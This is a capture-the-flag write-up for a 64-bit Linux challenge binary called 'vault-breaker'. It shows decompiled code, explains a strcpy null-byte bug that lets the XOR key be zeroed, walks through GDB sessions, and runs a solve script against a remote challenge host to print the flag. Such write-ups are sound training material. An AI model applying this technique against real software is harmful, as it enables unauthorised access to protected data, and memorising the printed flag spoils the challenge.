<- PWN

Vault-breaker

5 minutes to read

Linux Exploitation Expert

Linux Exploitation Expert — HackTricks Training

Progress from binary exploitation fundamentals to advanced exploit development in Linux across user space, heap, ARM, kernel, and browser targets.

View Course

We have a 64-bit binary called vault-breaker:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
RUNPATH:  b'./.glibc/'

If we execute it, we have two options:

$ ./vault-breaker


Current status: Unlocked 🔓

▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▒▒▓▓▓▓▒▒▒▒▒▒░░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░░░░░▒▒░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░▒▒▒▒▒▒▒▒░░░░░░░░░░▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░░░░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░▒▒▒▒░░▒▒░░████▓▓████░░▒▒▓▓▓▓▓▓▓▓▓▓░░▒▒░░        ░░░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░▒▒▓▓░░▓▓▒▒▒▒▒▒░░░░▒▒▓▓██▒▒▒▒▓▓▓▓▓▓░░░░                ░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓
▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░▒▒▒▒▓▓░░▓▓░░██▓▓▓▓▓▓▒▒▒▒██░░▓▓▓▓▒▒▒▒                    ░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓░░░░▓▓▒▒░░▒▒██░░██▒▒▒▒▒▒▒▒██▒▒▒▒██▓▓▒▒▒▒                        ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓░░░░▒▒▓▓▒▒▓▓░░▒▒▓▓▒▒▒▒░░░░░░▒▒██░░██▒▒▒▒                            ▒▒▒▒▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▒▒░░░░▓▓▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░▒▒▓▓▓▓▓▓▒▒                            ░░▒▒▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓░░░░▓▓▓▓▒▒▒▒▒▒▓▓░░▓▓░░░░░░░░▒▒▒▒██▒▒██▒▒                              ▒▒▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓░░░░▓▓▓▓▓▓▒▒░░▒▒▓▓░░░░░░░░░░▒▒▒▒▓▓▒▒██░░                              ▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▒▒▓▓▒▒░░▒▒▓▓░░▒▒░░░░░░░░░░▓▓▒▒██▒▒                              ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▒▒▒▒▒▒▓▓▒▒░░░░░░░░░░░░▒▒▒▒██▒▒                              ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓████▓▓▒▒▒▒░░▓▓▒▒░░░░▒▒░░▒▒▒▒▓▓▒▒▓▓░░                              ▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▒▒▒▒▒▒▓▓▓▓▒▒▓▓░░░░░░▒▒░░▒▒▓▓▓▓██▒▒                              ░░▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓██▒▒░░▒▒▒▒▓▓▒▒░░░░▒▒▒▒▓▓▓▓▒▒░░                            ░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓██▒▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒██▒▒██▒▒░░░░                        ░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▒▒▒▒▓▓▒▒▒▒░░▓▓▒▒▒▒▒▒▓▓▒▒██▒▒▓▓▓▓░░░░                      ░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓██▓▓▒▒██▒▒░░▒▒▒▒▒▒▓▓▓▓▓▓▒▒▓▓▓▓▓▓░░░░                ░░░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓██▓▓████▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░░░░░░░      ░░░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓██▒▒▓▓▒▒▒▒░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░░░░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▒▒▓▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒░░░░░░░░░░▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓


[+] Random secure encryption key has been generated!

1. Generate new key 🆕
2. Secure the Vault 🔒

>

If we use Ghidra to decompile the binary, we can see this main function:

void main() {
  long option;

  setup();
  banner();
  key_gen();
  fprintf(stdout, "%s\n[+] Random secure encryption key has been generated!\n%s", &DAT_00103142, &DAT_001012f8);
  fflush(stdout);

  while (true) {
    while (true) {
      printf(&DAT_00105160, &DAT_001012f8);
      option = read_num();

      if (option != 1) break;

      new_key_gen();
    }

    if (option != 2) break;

    secure_password();
  }

  printf("%s\n[-] Invalid option, exiting..\n", &DAT_00101300);
                    /* WARNING: Subroutine does not return */
  exit(0x45);
}

The first option calls new_key_gen:

void new_key_gen() {
  int fd;
  FILE *__stream;
  long in_FS_OFFSET;
  ulong i;
  ulong length;
  char new_key[40];
  long canary;
  
  canary = *(long *) (in_FS_OFFSET + 0x28);
  i = 0;
  length = 0x22;
  __stream = fopen("/dev/urandom", "rb");

  if (__stream == (FILE *) 0x0) {
    fprintf(stdout, "\n%sError opening /dev/urandom, exiting..\n", &DAT_00101300);
                    /* WARNING: Subroutine does not return */
    exit(0x15);
  }

  while (0x1f < length) {
    printf("\n[*] Length of new password (0-%d): ", 31);
    length = read_num();
  }

  memset(new_key, 0, 32);
  fd = fileno(__stream);
  read(fd, new_key, length);

  for (; i < length; i = i + 1) {
    while (new_key[i] == '\0') {
      fd = fileno(__stream);
      read(fd, new_key + i, 1);
    }
  }

  strcpy(random_key, new_key);
  fclose(__stream);
  printf("\n%s[+] New key has been genereated successfully!\n%s", &DAT_00103142, &DAT_001012f8);

  if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }

  return;
}

This function has a bug that can be exploited. However, let’s see what the second option is for.

The second option calls secure_password:

void secure_password() {
  char *__buf;
  int __fd;
  ulong uVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char acStack136[24];
  undefined8 uStack112;
  int i;
  int local_64;
  char *local_60;
  undefined8 local_58;
  char *flag;
  FILE *fp;
  undefined8 canary;
  
  canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
  uStack112 = 0x100c26;
  puts("\x1b[1;34m");
  uStack112 = 0x100c4c;
  printf(&DAT_00101308, &DAT_001012f8, &DAT_00101300, &DAT_001012f8);
  local_60 = &DAT_00101330;
  local_64 = 0x17;
  local_58 = 0x16;
  flag = acStack136;
  memset(acStack136, 0, 0x17);
  fp = fopen("flag.txt", "rb");
  __buf = flag;

  if (fp == (FILE *) 0x0) {
    fprintf(stderr, "\n%s[-] Error opening flag.txt, contact an Administrator..\n", &DAT_00101300);
                    /* WARNING: Subroutine does not return */
    exit(0x15);
  }

  sVar2 = (size_t) local_64;
  __fd = fileno(fp);
  read(__fd, __buf, sVar2);
  fclose(fp);
  puts(local_60);
  fwrite("\nMaster password for Vault: ", 1, 0x1c, stdout);
  i = 0;

  while (true) {
    uVar1 = (ulong) i;
    sVar2 = strlen(flag);

    if (sVar2 <= uVar1) break;

    putchar((int) (char) (random_key[i] ^ flag[i]));
    i = i + 1;
  }

  puts("\n");
                    /* WARNING: Subroutine does not return */
  exit(0x1b39);
}

So we see that secure_password prints the flag encrypted with XOR and random_key.

The idea here is to abuse the bug in new_key_gen so that we overwrite random_key with all null bytes and the XOR cipher does nothing.

The problem is here:

strcpy(random_key, new_key);

The variable new_key has a given number of random values (from 0 to 31). The problem is that strcpy interprets new_key as a string, which is terminated by a null byte. And this null byte is copied into random_key.

The idea is to change the key starting with length 31 and go decreasing until 0. At this point, we will have a null random_key. Let’s check some steps with GDB:

$ gdb -q vault-breaker
Reading symbols from vault-breaker...
(No debugging symbols found in vault-breaker)
gef➤  disassemble new_key_gen
Dump of assembler code for function new_key_gen:
   0x0000000000001026 <+0>:     push   rbp
   ...
   0x000000000000113d <+279>:   cmp    rax,QWORD PTR [rbp-0x50]
   0x0000000000001141 <+283>:   jb     0x1122 <new_key_gen+252>
   0x0000000000001143 <+285>:   lea    rax,[rbp-0x40]
   0x0000000000001147 <+289>:   mov    rsi,rax
   0x000000000000114a <+292>:   lea    rdi,[rip+0x204f0f]        # 0x206060 <random_key>
   0x0000000000001151 <+299>:   call   0x9d0 <strcpy@plt>
   0x0000000000001156 <+304>:   mov    rax,QWORD PTR [rbp-0x48]
   0x000000000000115a <+308>:   mov    rdi,rax
   0x000000000000115d <+311>:   call   0x9f0 <fclose@plt>
   ...
   0x0000000000001196 <+368>:   add    rsp,0x58
   0x000000000000119a <+372>:   pop    rbx
   0x000000000000119b <+373>:   pop    rbp
   0x000000000000119c <+374>:   ret
End of assembler dump.
gef➤ break *new_key_gen+299
Breakpoint 1 at 0x1151
gef➤ start
Starting program: ./vault-breaker

Current status: Unlocked 🔓

...

[+] Random secure encryption key has been generated!

1. Generate new key 🆕
2. Secure the Vault 🔒

> 1

[*] Length of new password (0-31): 31

Breakpoint 1, 0x0000555555401151 in new_key_gen ()

gef➤  x/4gx 0x00555555606060
0x555555606060 <random_key>:    0x3a13df13164d2f9b      0x3e52423f3cde51c2
0x555555606070 <random_key+16>: 0x42b8e9edf141c794      0x7d9940e7ae4bf33e
gef➤  x/4gx 0x007fffffffe600
0x7fffffffe600: 0x78d46927bf7ceb4a      0x1bdb7bc09e2832bb
0x7fffffffe610: 0x977650dac427a3fa      0x00dbb4767e5144df
gef➤  ni

Program received signal SIGALRM, Alarm clock.
0x0000555555401156 in new_key_gen ()

gef➤  x/4gx 0x00555555606060
0x555555606060 <random_key>:    0x78d46927bf7ceb4a      0x1bdb7bc09e2832bb
0x555555606070 <random_key+16>: 0x977650dac427a3fa      0x00dbb4767e5144df
gef➤  continue
Continuing.

[+] New key has been genereated successfully!

1. Generate new key 🆕
2. Secure the Vault 🔒

> 1

[*] Length of new password (0-31): 30

Breakpoint 1, 0x0000555555401151 in new_key_gen ()

gef➤  x/4gx 0x00555555606060
0x555555606060 <random_key>:    0x78d46927bf7ceb4a      0x1bdb7bc09e2832bb
0x555555606070 <random_key+16>: 0x977650dac427a3fa      0x00dbb4767e5144df
gef➤  x/4gx 0x007fffffffe600
0x7fffffffe600: 0xf981c407429c1b43      0x85f070e2c1c8e444
0x7fffffffe610: 0x46d952b3d580c7dd      0x0000782791b7d021
gef➤  ni
0x0000555555401156 in new_key_gen ()

gef➤  x/4gx 0x00555555606060
0x555555606060 <random_key>:    0xf981c407429c1b43      0x85f070e2c1c8e444
0x555555606070 <random_key+16>: 0x46d952b3d580c7dd      0x0000782791b7d021
gef➤  continue
Continuing.

[+] New key has been genereated successfully!

1. Generate new key 🆕
2. Secure the Vault 🔒

> 1

[*] Length of new password (0-31): 29

Breakpoint 1, 0x0000555555401151 in new_key_gen ()

gef➤  x/4gx 0x00555555606060
0x555555606060 <random_key>:    0xf981c407429c1b43      0x85f070e2c1c8e444
0x555555606070 <random_key+16>: 0x46d952b3d580c7dd      0x0000782791b7d021
gef➤  x/4gx 0x007fffffffe600
0x7fffffffe600: 0xdec16a4ae0c0f28c      0x017ce2a4f208304d
0x7fffffffe610: 0x69b0acb732508fb3      0x0000009c2b0b449c
gef➤  ni
0x0000555555401156 in new_key_gen ()

gef➤  x/4gx 0x00555555606060
0x555555606060 <random_key>:    0xdec16a4ae0c0f28c      0x017ce2a4f208304d
0x555555606070 <random_key+16>: 0x69b0acb732508fb3      0x0000009c2b0b449c

So with this process we fill random_key with null bytes. After that, we only need to request the encrypted flag. All of this can be automated with a Python script: solve.py.

$ python3 solve.py 206.189.125.80:30580
[*] './vault-breaker'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./.glibc/'
[+] Opening connection to 206.189.125.80 on port 30580: Done
[◓] Number: 0
[*] Closed connection to 206.189.125.80 port 30580
HTB{d4nz4_kudur0r0r0}